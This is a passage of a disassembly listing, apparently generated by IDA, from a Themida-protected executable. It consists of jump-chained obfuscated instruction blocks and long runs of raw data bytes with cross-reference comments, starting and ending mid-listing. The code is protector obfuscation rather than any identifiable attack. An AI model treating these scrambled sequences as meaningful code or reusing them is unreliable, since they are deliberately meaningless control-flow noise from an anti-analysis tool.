6ADC55EBh jmp loc_563263 ; --------------------------------------------------------------------------- loc_55F842: ; CODE XREF: Themida_:0055B784j mov edx, 4AFC2D5Ah shl edx, 2 jmp loc_55712A ; --------------------------------------------------------------------------- loc_55F84F: ; CODE XREF: Themida_:0055D0E9j pop eax add bl, 0Ch jmp loc_556A0B ; --------------------------------------------------------------------------- dd 3B14B9h, 81D9F71Fh, 0FFFFFFC1h, 0F7D987FFh, 0F7D987D3h dd 4F3AE9D1h, 0E3890000h, 0FF8811E9h, 81D7F7FFh, 0AE07A0EFh dd 0C1C78127h, 81661038h, 6676B0EFh, 0FCC78175h, 21C331A0h dd 28055FF8h, 563B5F14h, 437B80BEh, 81D6F711h, 0FC6EFEEEh dd 14F75663h, 0C6815E24h, 9D1A2429h, 355EF031h, 69AA12DBh dd 0E958C201h, 0FFFF74D7h, 5ABD55h, 6AE954ECh, 81FFFF73h dd 0EE5253E7h, 2F97E977h, 0E942FFFFh, 0FFFF6F04h, 0F0886EB6h dd 24148B66h, 5302C483h, 0B3536650h, 0E9D888BAh, 0FFFF7175h ; --------------------------------------------------------------------------- loc_55F8F8: ; CODE XREF: Themida_:0056223Cj add esi, edx add esi, 4AAC058Fh jmp loc_555196 ; --------------------------------------------------------------------------- db 29h, 6Ch, 24h dd 246C8104h, 613EF404h, 2434FF72h, 0FF1DE5E9h, 246C81FFh dd 7E168D04h, 246C8179h, 8B5AEB04h, 245C2963h, 24448104h dd 8B5AEB04h, 24448163h, 7E168D04h, 0DBBA5279h, 81466B71h dd 0EE08246Ch, 81463668h, 0E1082444h, 29572F33h, 0E9082454h dd 0FFFFB99Bh, 250DE950h db 2 dup(0) word_55F962 dw 0FF66h ; DATA XREF: Themida_:0054FD04o dd 5ADE932h, 0EA81FFFFh, 42817BACh, 0FFD32DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F975: ; CODE XREF: Themida_:0055BE5Cj push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_554BF0 ; --------------------------------------------------------------------------- db 0FEh, 0CFh, 80h dd 0EF8087CFh, 8BFD30C4h, 8957241Ch, 4C781E7h, 83000000h dd 3C8704C7h, 0F9685C24h, 8900005Eh, 0E9532414h, 0FFFF9071h dd 64E99C50h, 5FFFF05h, 4B247765h, 652DD801h, 8B4B2477h dd 0C483241Ch, 0E9D80104h, 0FFFF6634h, 3582F781h, 0DFF77EA8h dd 0FFDA16E9h db 0FFh byte_55F9D9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FE58o dd 5EE0E924h, 34FFFFFFh, 240C8B24h, 8304C483h, 7BE904C4h dd 55000010h, 975E9h, 0C4835B00h, 0FFDA8904h, 34FF2434h dd 7F07E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA0A: ; CODE XREF: Themida_:0055DD62j pop ecx jmp loc_55EFE0 ; --------------------------------------------------------------------------- dd 8704C383h, 0E95C241Ch, 0FFFFDD01h, 7BE9D129h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA23: ; CODE XREF: Themida_:005616FEj push dword ptr [esp] pop eax jmp loc_553817 ; --------------------------------------------------------------------------- aYasrq db 'YAéàQ',0 db 0 ; --------------------------------------------------------------------------- loc_55FA33: ; CODE XREF: Themida_:0055B9A1j mov [esp], edx push esp pop edx add edx, 4 push edi mov edi, 4 sub edx, 0BDC42BFh add edx, edi add edx, 0BDC42BFh pop edi jmp loc_564B71 ; --------------------------------------------------------------------------- dd 0ED176A2Dh, 0B9515B29h, 6E501AE2h, 2414F751h, 0E6895659h dd 5855E9h, 242C8900h, 45850BDh, 8BE8294Dh, 0C483242Ch dd 240C8B04h, 0FF1C1AE9h, 0C0835DFFh, 24043304h, 0FF80ECE9h dd 0F8055CFFh, 295A8960h, 60F82DE8h, 4B055A89h, 0E97BCA06h dd 0FFFFC4DCh ; --------------------------------------------------------------------------- loc_55FAAC: ; CODE XREF: Themida_:0055BE71j add ecx, 6A6D6B6Ah push 2C46h mov [esp], edx mov edx, 77C7193Bh sub ecx, edx jmp loc_558EDD ; --------------------------------------------------------------------------- dw 0C581h dd 7C8F1AA7h, 0A7CFE959h, 0C381FFFFh, 4, 8704EB83h, 895C241Ch dd 8BBD242Ch, 0F72FA25Fh, 0F7E2E9D5h, 48FFFFFh, 24248B24h dd 0FF243C89h, 8B042474h, 0E955243Ch, 29F2h, 0DA88C388h dd 0D000585Bh, 0FF6AFEE9h, 1C183FFh, 668868h, 243C8900h dd 4867BBBFh, 0E7BE5674h, 813D7A6Dh, 0BC5B27C6h, 95E95349h dd 89FFFF0Dh, 0E789243Ch, 0FF6D83E9h, 39EA81FFh, 0E97D3271h dd 0FFFF8BB6h, 4C181h, 99E90000h, 81FFFFD6h, 0CA04246Ch dd 0E95BCB14h, 0FFFF3227h ; --------------------------------------------------------------------------- loc_55FB60: ; CODE XREF: Themida_:005531ECj push eax jmp loc_5564D1 ; --------------------------------------------------------------------------- dw 0EC83h dd 242C8904h, 7E466856h, 0F75E0218h, 64EE81D6h, 8140C30Eh dd 0C061C5F6h, 0E9F589D3h, 1228h ; --------------------------------------------------------------------------- loc_55FB88: ; CODE XREF: Themida_:00551DE9j push dword ptr [esp] pop ecx push 6519h mov [esp], ebx jmp loc_554A6F ; --------------------------------------------------------------------------- byte_55FB99 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FDECo aHss db '$h‘S',0 align 2 dw 0C89h dd 50E18924h, 4B8h, 0E9C10100h, 4BCCh, 7EC58145h, 57CBA3F0h dd 9214A8BFh, 0E3F78158h, 0E9235812h, 2654h, 0E556C381h dd 0BB53AA42h, 5D5476D0h, 1394EB81h, 0C6E93373h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FBE3: ; CODE XREF: Themida_:00550B8Dj sub al, 28h add al, 14h push 7506h mov [esp], edx mov dl, 42h jmp loc_564CBB ; --------------------------------------------------------------------------- loc_55FBF6: ; CODE XREF: Themida_:0056421Fj add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55892E ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 1451B850h, 3B0D05DBh, 3521B94Ch, 0CC766ACh, 504E8C1h dd 0FD6C3C55h, 0FF7D4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FC2D: ; CODE XREF: Themida_:0055BDD0j sub esi, 0C49DC7A6h jmp loc_555D4A ; --------------------------------------------------------------------------- dd 7A535CB9h, 98C58115h, 29156A34h, 98ED81CDh, 59156A34h dd 2C8BEF01h, 4C48324h, 3C8BF821h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or eax, eax jz loc_55EE2F push ecx push esp pop ecx jmp loc_55DD42 ; --------------------------------------------------------------------------- db 5Ch, 0FFh, 34h dd 2434FF24h, 4C48158h, 0E9000000h, 36F8h, 0E92434FFh dd 0FFFF3031h, 405h, 40500h, 4870000h, 4D88E924h, 0C381FFFFh dd 4, 8704C383h, 63E9241Ch db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FCB7: ; CODE XREF: Themida_:00564D6Bj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_564F9C ; --------------------------------------------------------------------------- db 0BAh dd 1B755E53h, 2D5AD031h, 485AF8BCh, 0FF6A6BE9h, 755EBDFFh dd 0E957169Dh, 0FFFF1EE7h ; --------------------------------------------------------------------------- loc_55FCE8: ; CODE XREF: Themida_:0055AA0Ej mov [esp], edi mov edi, esp jmp loc_55087D ; --------------------------------------------------------------------------- dw 0FF53h dd 0E9042474h, 64h, 5D2978BFh, 4CCF8119h, 0E9139F43h, 0FFFFEDA8h dword_55FD0C dd 240C8B66h, 53E18951h, 0BD782368h, 241C8B31h, 0E904C483h ; DATA XREF: Themida_:0054FC98o dd 0FFFFB2F1h, 104C483h, 9BBA52C5h, 8138D649h, 0D640DBCAh dd 0C1D2F748h, 0C28104EAh, 454210CFh, 77EBCA81h, 0C28152D5h dd 0C9C6896h, 8B5AD501h, 0C4832404h, 2C58304h, 0E9242C87h dd 0FFFF9B46h, 0E92434FFh, 0FFFF6D18h dword_55FD68 dd 0E9AA2CACh, 0FFFFB9C0h ; DATA XREF: Themida_:0054FC40o ; --------------------------------------------------------------------------- loc_55FD70: ; CODE XREF: Themida_:005565B1j mov ecx, [esp] add esp, 4 mov bl, ah jmp loc_564BBF ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0CD20BBBDh, 0E9D5F71Dh, 0AA2h, 4C381h, 38E90000h, 5BFFFFDBh dd 815BDD29h, 852E08F5h, 9AF5812Eh, 2D38224Dh, 6FB1A61h dd 0FF196EE9h, 49F181FFh, 0F72F3A1Ah, 0E8C181D1h, 0E9588F7Ah dd 0FFFFDE83h, 55E9DE29h, 81FFFFABh, 4C4h, 51F6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FDD6: ; CODE XREF: Themida_:0055ADDEj sub edx, 5CE2232Ch mov ebx, [esp] jmp loc_555AD1 ; --------------------------------------------------------------------------- loc_55FDE4: ; CODE XREF: Themida_:005500BDj xor [esp], ebx xor ebx, [esp] pop esp push ebp jmp loc_556035 ; --------------------------------------------------------------------------- db 54h, 0E9h, 9Ch db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FDF7: ; CODE XREF: Themida_:0055006Cj push dword ptr [esp] jmp loc_5634EC ; --------------------------------------------------------------------------- db 5Eh dd 0FFBECAE9h, 4EC83FFh, 0B8240489h, 52AB5419h, 2AC3BA52h dd 7E907A8h, 51FFFFA2h, 0EB88C588h, 50240C8Bh, 405E089h dd 83000000h, 79E904C0h, 5600001Fh, 0C681E689h, 4, 0FF101CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FE41: ; CODE XREF: Themida_:00564935j xor ebp, 36164825h and edi, ebp pop ebp push edi sub esp, 4 mov [esp], ebx pop edi jmp loc_553505 ; --------------------------------------------------------------------------- aBEixcsid db 'Å…¨xçéID',0 align 2 dw 3433h dd 24343124h, 8B243433h, 0C4812424h, 4, 9C2404FFh, 0FF009AE9h dd 0E9D5F7FFh, 201Ch, 42E9F529h db 1, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE8B: ; CODE XREF: Themida_:00555AB8j mov edi, ebx pop ebx mov ecx, [esp] add esp, 4 and eax, edi mov edi, [esp] jmp loc_55E510 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 3A10B951h, 0BE562924h, 1D7E5CDBh, 8247401h dd 0AAB9515Eh, 0E97ACC70h, 1F3Fh ; --------------------------------------------------------------------------- loc_55FEC4: ; CODE XREF: Themida_:005614E9j mov esi, [esp] add esp, 4 jmp loc_563C41 ; --------------------------------------------------------------------------- word_55FED2 dw 8B66h ; DATA XREF: Themida_:0054FC7Co dd 47E92404h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FEDB: ; CODE XREF: Themida_:00556440j sub edi, 5F886E3Eh add edx, edi pop edi add edx, 4 xchg edx, [esp] jmp loc_554675 ; --------------------------------------------------------------------------- loc_55FEEF: ; CODE XREF: Themida_:00553B80j shr edi, 3 xor edi, 80E94EAAh add ecx, edi mov edi, [esp] push ebp jmp loc_562135 ; --------------------------------------------------------------------------- aPS db 'Pœé',0Dh,0 dd 5058FFFFh, 0E36868B4h, 0E9000064h, 0FFFF2C55h ; --------------------------------------------------------------------------- loc_55FF18: ; CODE XREF: Themida_:0055035Cj dec esi and esi, 4DAC4122h xor esi, 593B2C9Bh or esi, 389B4423h or esi, 635267D5h sub esi, 7FDF6FFBh add edi, esi mov esi, [esp] push eax mov eax, esp push ebp mov ebp, 15223214h jmp loc_5529FB ; --------------------------------------------------------------------------- loc_55FF4A: ; CODE XREF: Themida_:0055CCF5j add ebx, 4 jmp loc_55A94B ; --------------------------------------------------------------------------- db 0B9h, 0, 16h dd 0C1810221h, 0D6DE0C24h, 1A43E9h db 0 ; --------------------------------------------------------------------------- loc_55FF65: ; CODE XREF: Themida_:00561283j pop edx jmp loc_55CFA1 ; --------------------------------------------------------------------------- loc_55FF6B: ; CODE XREF: Themida_:00559771j xor bl, 43h sub al, bl pop ebx push ecx mov ch, 7Eh xor ch, 59h jmp loc_55E5D5 ; --------------------------------------------------------------------------- dd 3C6EB951h, 0ADE95A5Ah db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF87: ; CODE XREF: Themida_:00561C64j mov [esp], ecx mov ecx, 7FA5EB3h push ebx push ebp jmp loc_557DFC ; --------------------------------------------------------------------------- loc_55FF96: ; CODE XREF: Themida_:00551004j inc esi sub esi, 4A0829B7h add esi, 8E2E61AFh add ebp, esi pop esi xor ebp, 0F96E4D72h xor edi, ebp pop ebp mov eax, edi jmp loc_5647ED ; --------------------------------------------------------------------------- dw 0EBC1h dd 5EBC107h, 2588CB81h, 0F3810306h, 2A8BC6EDh, 815BDE89h dd 1C6h, 3DE68100h, 0E9245418h, 0FFFF151Ch, 64BC6859h dd 14890000h, 7F64BA24h, 0EBE92089h, 66FFFFF8h, 663CA568h dd 0B1240C89h, 2EC83DDh, 240C8966h, 0B5AFB450h, 8BE5300Bh dd 0C4812404h, 4, 5966E828h, 8956C800h, 4C681E6h, 53000000h dd 2BBh, 5BDE2900h, 31243433h, 34332434h, 2A77E924h, 0D1F6FFFFh dd 8904EC83h, 57B7241Ch, 0E90BCF80h, 0FFFF019Ch, 5B66FD30h dd 8904EC83h, 8E682404h, 0E9000012h, 0FFFF4658h ; --------------------------------------------------------------------------- loc_56005C: ; CODE XREF: Themida_:005634D0j mov ecx, [esp] add esp, 4 push 353Ah mov [esp], ebp mov ebp, 1 jmp loc_55BB5F ; --------------------------------------------------------------------------- loc_560077: ; CODE XREF: Themida_:00550B96j push dword ptr [esp] pop edx add esp, 4 and ecx, 37172ECDh not ecx xor ecx, 5C0B20D8h add ecx, 7C082A5Ah sub eax, 1ED60F8Dh add eax, ecx add eax, 1ED60F8Dh push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_561B7B ; --------------------------------------------------------------------------- dw 8159h dd 4C1h, 82FFE900h, 0DCF6FFFFh, 0E903E4C0h, 44D9h, 6624248Bh dd 2404AB0Fh, 4DF9E99Ch, 0CFBA0000h, 68185F7Fh, 0 dd 0FF2823E9h db 0FFh ; --------------------------------------------------------------------------- loc_5600E9: ; CODE XREF: Themida_:005599AAj add bx, 7E92h sub bx, 46CCh movzx eax, ax push eax push 44F4h sub esp, 4 jmp loc_55B843 ; --------------------------------------------------------------------------- db 55h dd 4BDh, 246C0100h, 815D5D04h, 4C5h, 4C58100h, 33000000h dd 21E9242Ch, 8BFFFFF1h, 91682404h, 0E9000018h, 0FFFFDAC3h dd 8103EBC1h, 10DA4BF3h, 5BDF2973h, 7A0468FDh, 14890000h dd 6B856824h, 82E96E89h, 83FFFF44h, 0BD5504C4h, 4, 70E9EB01h dd 0D1FFFF32h, 95F781E7h, 0E9BB23E6h, 0FFFFD3B5h ; --------------------------------------------------------------------------- loc_560170: ; CODE XREF: Themida_:005654D8j add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push esi push ebx mov ebx, 540D0FD9h push ebx add dword ptr [esp], 725A23B5h pop esi push ebp mov ebp, 77E20499h jmp loc_556407 ; --------------------------------------------------------------------------- dw 895Ch dd 0EC832414h, 24248904h, 4BF57h, 0BE560000h, 5A440407h dd 8247401h, 247C015Eh, 246C8104h, 44040704h, 34FF5F5Ah dd 0C4815A24h, 4, 4C281h, 48E90000h, 54FFFF61h, 0FF5354E9h dd 69C381FFh, 8173C87Fh, 5B5BAFF3h, 2A19E944h, 815AFFFFh dd 4C4h, 0FFEA8100h, 81FFFFFFh, 1E5DF5EAh, 0E9D6892Ah dd 3A84h, 5C243C87h, 0FF4801E9h, 81E589FFh, 4C5h, 4C58300h dd 0E9242C33h, 45B0h, 0BE5016BBh, 0EB81436Eh, 66090E17h dd 7F31F381h, 0DF014DE6h, 0BE56595Bh, 20F81422h, 8105EEC1h dd 7C09DEEh, 8BF72901h, 0C4832434h, 9461E904h, 8F54FFFFh dd 4812404h, 424h, 0C5815D00h, 4, 4BE56h, 0ED810000h, 0B833B3Eh dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 4CB82404h dd 0E9771E43h, 0FFFF60CEh, 7F3AE95Dh, 5B5AFFFFh, 0C8BEE88h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_559558 ; --------------------------------------------------------------------------- loc_5602B3: ; CODE XREF: Themida_:0055F69Dj pop ecx xchg eax, ecx add eax, 2DB35169h dec eax not eax sub eax, 1 inc eax sub esp, 4 jmp loc_5523B5 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 73636804h, 2C890000h, 4EC8124h, 89000000h dd 1CB9240Ch, 87374B57h, 0E9D5F7E9h, 4A46h ; --------------------------------------------------------------------------- loc_5602F0: ; CODE XREF: Themida_:005625ACj push 61343D60h pop ebx or ebx, 1CDF7A0Ah push ecx mov ecx, 38EA7BDEh inc ecx inc ecx jmp loc_55C4B3 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0E9830000h, 240C8704h, 0FF2ED4E9h, 0F8C681FFh dd 0C12C6484h, 0F75605EEh, 0E95E2414h, 0FFFF1B9Ch, 1E1CC181h dd 0D9290089h, 1E1CBD55h, 0E9290089h, 241C8B5Dh, 0E904C483h dd 1B3Eh, 81240C8Bh, 4C4h, 0C9C68100h, 2901F743h, 0DA65E9CEh dd 5055FFFFh, 384ACF68h, 87B2E912h, 1CF7FFFFh, 5392E924h dd 48BFFFFh, 0EFC8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56037E: ; CODE XREF: Themida_:0055D390j add eax, edi add eax, 54A30B71h sub esp, 4 mov [esp], edi jmp loc_552829 ; --------------------------------------------------------------------------- loc_560390: ; CODE XREF: Themida_:0055AEF5j sub esi, 3B5B2804h jmp loc_56051B ; --------------------------------------------------------------------------- db 0F6h aA_2 db 'Ý€Å',9,0 db 0E8h, 59h, 51h dd 50661AB1h, 0E10868B4h, 50665866h, 0FFCC02E9h, 2BBD55FFh dd 968A009h, 814F5DEFh, 0AE6DBAF7h, 5FFA01EFh, 26853h dd 0E95B0000h, 0FFFF2B86h, 31240C33h, 0C33240Ch, 24248B24h dd 2424D366h, 0FB2DE99Ch, 0BE56FFFEh, 4, 0E95EF701h, 0FFFF8609h ; --------------------------------------------------------------------------- loc_5603F8: ; CODE XREF: Themida_:00550441j mov [esp], eax mov eax, 3EB2122Ch not eax not eax push edi push esp pop edi add edi, 4 sub edi, 4 jmp loc_565419 ; --------------------------------------------------------------------------- dd 83243C8Bh, 0C18304C4h, 74FF5104h, 8CE90424h, 89FFFFD0h dd 0EC832414h, 24248904h, 4240483h, 4BD555Ah, 817A133Eh dd 0FFFFFFC5h, 7EF6E9FFh, 15EFFFFh, 160705F0h, 685E0456h dd 0ED9h, 0FF9D51E9h, 5FF901FFh, 8E9CE89h, 53FFFF21h, 5404EC83h dd 6824048Fh, 75B7h, 0E9240C89h, 0FFFF2BCFh ; --------------------------------------------------------------------------- loc_56047C: ; CODE XREF: Themida_:00560EACj mov [esp], edx mov edx, 75B23405h push edx sub dword ptr [esp], 611F3CB7h pop esi jmp loc_55C1C4 ; --------------------------------------------------------------------------- word_560492 dw 34FFh ; DATA XREF: Themida_:0054FCF0o dd 2434FF24h, 8B2434FFh, 0C4832414h, 4C48104h, 68000000h dd 188Dh, 0FF0A91E9h, 0D0E951FFh, 56FFFF8Bh, 0FF2C48E9h dd 11E981FFh, 81FCFB17h, 8E39C3E9h, 0E9E9D15Fh, 0FFFFF8E1h ; --------------------------------------------------------------------------- loc_5604D0: ; CODE XREF: Themida_:0055A91Bj mov ebx, 32323D5Ch sub eax, ebx pop ebx add eax, 27F4C38h jmp loc_5626E3 ; --------------------------------------------------------------------------- dw 0EA81h dd 914549Bh, 6FF5EA81h, 0B9517B0Dh, 5B0B0450h, 56D3B850h dd 0C109235Bh, 8124048Bh, 4C4h, 0E9565700h, 0FFFF1876h dd 1AE9D189h db 17h, 2 dup(0FFh) byte_560513 db 0FFh ; DATA XREF: Themida_:0054FC60o a4S? db '4$é?',0Ah,0 db 0 ; --------------------------------------------------------------------------- loc_56051B: ; CODE XREF: Themida_:00560396j add esi, edx jmp loc_55B912 ; --------------------------------------------------------------------------- dw 815Bh dd 485438CEh, 0FAB9515Ch, 110D204h, 240C8BCEh, 4C481h dd 0DEE90000h, 66FFFFFDh, 7E34E581h, 53E95266h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56054B: ; CODE XREF: Themida_:005546E9j mov [esp], edi mov edi, esp add edi, 4 jmp loc_562878 ; --------------------------------------------------------------------------- loc_56055B: ; CODE XREF: Themida_:0055F341j push ecx jmp loc_55573B ; --------------------------------------------------------------------------- loc_560561: ; CODE XREF: Themida_:0055AA88j sub esp, 4 mov [esp], esi jmp loc_5608DE ; --------------------------------------------------------------------------- loc_56056F: ; CODE XREF: Themida_:00557AE7j push eax jmp loc_55EC75 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0A2CBB2B9h, 59C889DFh, 42E9C629h db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560587: ; CODE XREF: Themida_:00559CA7j mov edi, 6F750945h mov edx, edi pop edi sub eax, edx jmp loc_5521E6 ; --------------------------------------------------------------------------- dw 0D2BBh dd 0E955C804h, 0FFFFFD90h, 148BD001h, 0BA96E924h, 0C483FFFFh dd 329FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605B2: ; CODE XREF: Themida_:0055D3DFj sub bx, 4087h sub bx, 32Ch jmp loc_556073 ; --------------------------------------------------------------------------- loc_5605C1: ; CODE XREF: Themida_:0055E12Cj push 77F67E17h pop edi jmp loc_5608BC ; --------------------------------------------------------------------------- loc_5605CC: ; CODE XREF: Themida_:005616DCj pop esp jmp loc_564F75 ; --------------------------------------------------------------------------- dw 0CF31h dd 0FF7BC9E9h, 180E68FFh, 2C890000h, 4A685124h, 5958FD62h dd 8102E9C1h, 0C71340E1h, 0FFC18322h, 7105BB53h, 0C1434ED6h dd 0E94304EBh, 0FFFFB4CBh, 42474FFh, 0FFAD00E9h, 240487FFh dd 5BA525Ch, 315A067Eh, 2C34E9D5h, 2BA0000h, 1000000h dd 34335AD6h, 1C8DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56062E: ; CODE XREF: Themida_:00550D3Aj xor [esp], eax jmp loc_55745E ; --------------------------------------------------------------------------- loc_560636: ; CODE XREF: Themida_:0055AB26j push 3172h mov [esp], edi sub esp, 4 mov [esp], edx jmp loc_558FD7 ; --------------------------------------------------------------------------- db 31h, 0C2h, 0E9h dd 0FFFF610Dh aQs db 'QéÁ(',0 ; DATA XREF: Themida_:0054FC88o align 2 db '½',0 dd 0E9414C0Ch, 1E62h, 0DA88CB88h, 5788595Bh, 24148B38h dd 0FFB4BCE9h, 37E95DFFh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560677: ; CODE XREF: Themida_:00559A5Cj mov esi, eax jmp loc_55E523 ; --------------------------------------------------------------------------- word_56067E dw 28Fh ; DATA XREF: Themida_:0054FC38o dd 0FEF892E9h db 0FFh ; --------------------------------------------------------------------------- loc_560685: ; CODE XREF: Themida_:00550D31j push edi mov edi, 7528753Fh push ebp mov ebp, edi mov esi, ebp pop ebp mov edi, [esp] add esp, 4 push edx jmp loc_553405 ; --------------------------------------------------------------------------- db 5Dh, 2Dh, 54h dd 8133290Ah, 791F64C6h, 81C6011Bh, 791F64EEh, 2434FF1Bh dd 4C48358h, 4EE81h, 0FF560000h, 5E042474h, 0E924048Fh dd 0FFFF53F7h, 3304C183h, 0C31240Ch, 240C3324h, 0E924248Bh dd 4C60h, 816CEF68h, 0FE95E1Ch db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5606EB: ; CODE XREF: Themida_:0055BB75j add ecx, ebp pop ebp sub ecx, ebp sub ecx, 605D20AFh jmp loc_5552F8 ; --------------------------------------------------------------------------- db 0C1h dd 15E903EAh db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560703: ; CODE XREF: Themida_:00558CA8j sub edx, edi pop edi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_552A9D ; --------------------------------------------------------------------------- loc_560717: ; CODE XREF: Themida_:00559BD0j shl esi, 5 dec esi shr esi, 6 add esi, 23E64367h mov edx, esi jmp loc_554E99 ; --------------------------------------------------------------------------- db 68h dd 3905h, 0B8240489h, 751A0E6Eh, 5604E0C1h, 45892BEh, 7AB9512Ah dd 0E902585Fh, 0FFFFDF9Ah, 4EB8C181h, 0C1010D51h, 4EB8BA52h dd 0C1810D51h, 2E3863F6h, 3AE9D129h, 83FFFF39h, 48904ECh dd 3BE95224h, 8FFFFF62h, 335C2404h, 1C31241Ch, 241C3324h dd 0FF52CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_560785: ; CODE XREF: Themida_:0055E2C8j push edx mov edx, 4278191Eh add ebx, edx pop edx xor ebx, 0D2D5AE3Dh mov ebp, ebx pop ebx mov ebx, 3E5B7EBCh sub ebx, ebp jmp loc_5569ED ; --------------------------------------------------------------------------- loc_5607A3: ; CODE XREF: Themida_:00559999j and eax, edx jmp loc_554A9B ; --------------------------------------------------------------------------- dw 1489h aIth db '$‰âh',0Dh,0Dh,0 align 4 dd 56242C89h, 0B850E689h, 4, 0FF0009E9h db 0FFh ; --------------------------------------------------------------------------- loc_5607C5: ; CODE XREF: Themida_:00555784j mov ebp, [esp] add esp, 4 sub ecx, 77FE4DF1h push ecx push eax mov eax, 4FC847D3h add [esp+4], eax pop eax pop dword ptr [edi+24h] push edx jmp loc_560E37 ; --------------------------------------------------------------------------- dw 0C89h dd 5CD7B924h, 0D1F71B46h, 0BCEBF181h, 0CD319D58h, 0FFE044E9h dd 26C981FFh, 817E0901h, 1C1h, 2DF18100h, 1516B22h, 0C38159CBh dd 7C2E4106h, 0BFE951h, 0E95FFFFFh, 0FFFEF6F3h ; --------------------------------------------------------------------------- loc_560824: ; CODE XREF: Themida_:00551B45j pop ecx shl ebx, 6 dec ebx jmp loc_55ABF3 ; --------------------------------------------------------------------------- dw 0BF57h dd 4FE2536Ch, 0D5E9FD01h, 0FFFFFFD4h, 0E9042474h, 0FFFF2315h dd 3C7568h, 24348900h, 8904EC83h, 0D3E9240Ch, 5AFFFFBCh dd 515AD001h, 8904EC83h, 0D5BA2414h, 5664C15Dh, 4580E9h dd 81D2F700h, 6C2E30EAh, 56D2F71Ah, 366C8BBEh, 5EF23192h dd 61ABBA52h, 0D001649Bh, 2DD0015Ah, 649B61ABh, 0FFE22AE9h dd 63C381FFh, 81394657h, 0C009BBEBh, 8F6634h, 0FF2B25E9h dd 2FC781FFh, 0E9172F5Fh, 3C2Ah, 0E9241C89h, 0D39h ; --------------------------------------------------------------------------- loc_5608BC: ; CODE XREF: Themida_:005605C7j shr edi, 7 or edi, 52D34242h and edi, 1B317EE5h xor edi, 12316EE0h mov ebp, edi pop edi add [esp+4], ebp pop ebp jmp loc_5640D3 ; --------------------------------------------------------------------------- loc_5608DE: ; CODE XREF: Themida_:0056056Aj push edx mov edx, 1AC95346h inc edx xor edx, 6542002h jmp loc_55F274 ; --------------------------------------------------------------------------- dd 123311BAh, 5AD02943h, 5CDE68h, 24348900h, 2A685350h dd 5B0B2619h, 0FFFFEB81h, 0DBF7FFFFh, 32C2C381h, 0D8897A3Ah dd 5E18E95Bh, 3489FFFFh, 27D1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560926: ; CODE XREF: Themida_:0055E66Ej push esi mov esi, 536D6B53h not esi neg esi jmp loc_5562B8 ; --------------------------------------------------------------------------- db 81h, 0F2h, 7Fh dd 52524960h, 5A240CFFh, 0CFE5EA81h, 0A6E9E3F4h, 5C000045h dd 0FFE87CE9h, 33368FFh, 3C890000h, 51E78924h, 4B9h, 59CF0100h dd 4C781h, 3C870000h, 0F953E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560972: ; CODE XREF: Themida_:0056361Cj sub edi, 4 jmp loc_5503CD ; --------------------------------------------------------------------------- loc_56097A: ; CODE XREF: Themida_:00551E54j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ecx push esi mov esi, 38150652h mov ecx, 578635DDh jmp loc_550E65 ; --------------------------------------------------------------------------- loc_5609A5: ; CODE XREF: Themida_:005554EFj push ebx mov ebx, 2DFE6445h sub [esp+4], ebx pop ebx pop ecx add ecx, 2DFE6445h pop eax push ebx mov ebx, 80h and ecx, ebx jmp loc_554615 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0 dd 29000000h, 5AD789FAh, 0FF2A6EE9h, 68C328FFh, 5CAh, 52240489h dd 885169B2h, 0CB8853D1h, 595BDC88h, 4ECC05Ah, 0E903ECC0h dd 0FFFF2221h ; --------------------------------------------------------------------------- loc_5609F8: ; CODE XREF: Themida_:00563069j inc edx add edx, 56D66B6Eh push 27E2h mov [esp], esi mov esi, edx mov edi, esi pop esi push dword ptr [esp] pop edx add esp, 4 jmp loc_55EEC1 ; --------------------------------------------------------------------------- db 58h dd 270E685Eh, 64E90000h, 68FFFFE9h, 0B6h, 66240489h, 663E4D68h dd 9F356658h, 0EB356644h, 0C3896667h, 5C296658h, 64E90424h dd 31FFFF79h, 